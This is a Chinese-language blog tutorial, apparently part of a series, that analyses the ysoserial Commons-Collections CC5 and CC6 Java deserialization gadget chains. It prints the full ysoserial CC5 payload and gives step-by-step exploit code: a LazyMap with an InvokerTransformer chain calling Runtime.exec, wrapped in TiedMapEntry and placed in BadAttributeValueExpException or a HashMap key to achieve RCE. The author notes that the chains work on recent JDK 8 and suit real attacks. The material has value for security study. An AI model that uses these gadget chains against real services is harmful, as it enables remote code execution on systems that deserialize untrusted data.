前言

这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val;
}

前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。

通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。

TiedMapEntry

为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equalshashCodetoString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equalshashCodetoStringgetValue这四个方法,其中toString和equals 某些场景下能够被隐式调用。

利用链挖掘

将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:

  1. 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
  2. 该类的readObject方法中有调用可控变量的toStringequelhashCodegetValue

满足这两个条件其实有很多,对应的分别有

  • 调用toString的BadAttributeValueExpException 对应CC5

  • 调用hashcode的HashMap,对应CC6

一、BadAttributeValueExpException(CC5)

先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val的toString()操作。

看一下这个val长啥样:

val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。

实操

第一步 构造恶意的LazyMap

		//  第一步 构造恶意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 构造恶意的TiedMapEntry

		// 第二步 构造恶意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 构造利用类 BadAttributeValueExpException

这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val

        // 第三步 构造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化验证

       // 第四步 反序列化验证
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);

执行一下,命令成功执行:

HashMap

上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:

跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。

实操

第一步 构造恶意TiedMapEntry

这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1) 相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。

		//  第一步 构造恶意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
}; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 绑定到hashmap上

 Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一个hashmap的entryKey

这里可以想一下为什么要这么操作。

因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。

其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。

 evilMap.remove("entryKey");

第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证

 		ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);

执行结果:

总结

本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。

YsoSerial 工具常用Payload分析之CC5、6(三)的更多相关文章

  1. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  2. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  3. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  4. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. Java应用常用性能分析工具

    Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...

  7. Fiddler抓取https请求 & Fiddler抓包工具常用功能详解

    Fiddler抓取https请求 & Fiddler抓包工具常用功能详解   先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...

  8. SoapUI、Jmeter、Postman三种接口测试工具的比较分析

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

  9. SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

随机推荐

  1. 密码学系列之:feistel cipher

    密码学系列之:feistel cipher 简介 feistel cipher也叫做Luby–Rackoff分组密码,是用来构建分组加密算法的对称结构.它是由德籍密码学家Horst Feistel在I ...

  2. 【NX二次开发】Block UI 分割线

    设置控件可见 this->separator0->GetProperties()->SetLogical("Show",true);

  3. MySQL进阶:主主复制+Keepalived高可用

    Blog:博客园 个人 概述 mysql主主复制 所谓主主复制,即双主备份,或者叫互作主从复制,每台master既是master,又是slave.这种方案,既做到了访问量的压力分流,同时也解决了单点故 ...

  4. 使用 Docker 部署 Node 应用 - 镜像文件尺寸的优化

    前面 使用 Docker 部署 Node 应用 一文中完成了镜像的创建和运行,不过生成的镜像还有些粗糙,需要进一步优化. 镜像的优化 通过 docker images 看到简单的一个 node 服务端 ...

  5. Java并发之ReentrantLock源码解析(一)

    ReentrantLock ReentrantLock是一种可重入的互斥锁,它的行为和作用与关键字synchronized有些类似,在并发场景下可以让多个线程按照一定的顺序访问同一资源.相比synch ...

  6. Linux中使用QT读取并显示温度传感器数值

    环境: Ubuntu 16.04 64 bit QT5.13.1/QT5.12 原理 对于Linux来说一切都是文件,温度传感器也是个文件,如果要获取某个温度传感器的数值,可以读取相应的文件,Linu ...

  7. 温故知新,Blazor遇见大写人民币翻译机(ChineseYuanParser),践行WebAssembly SPA的实践之路

    背景 在之前<温故知新,.Net Core遇见Blazor(FluentUI),属于未来的SPA框架>中我们已经初步了解了Blazor的相关概念,并且根据官方的指引完成了<创建我的第 ...

  8. Ubuntu18.04 LTS x64 构建ARM交叉编译环境(尝试,但失败了!!!估计是编译器没选对)

    [测试而已,由于需要了解编译器和处理器体系,因此先放弃该方法] 动机 入门嵌入式开发,又需要 Windows 又需要 Linux,但资料给的竟然是 Ubuntu9,导致我不能使用 VSCode Rem ...

  9. Prometheus+Grafana企业监控系统

    Prometheus+Grafana企业监控系统 作者 刘畅 实验配置: 主机名称 Ip地址 controlnode 172.16.1.70/24 slavenode1 172.16.1.71/24 ...

  10. 14 Nginx访问日志自动按天切割

    #!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin LOG_DIR=/usr/loc ...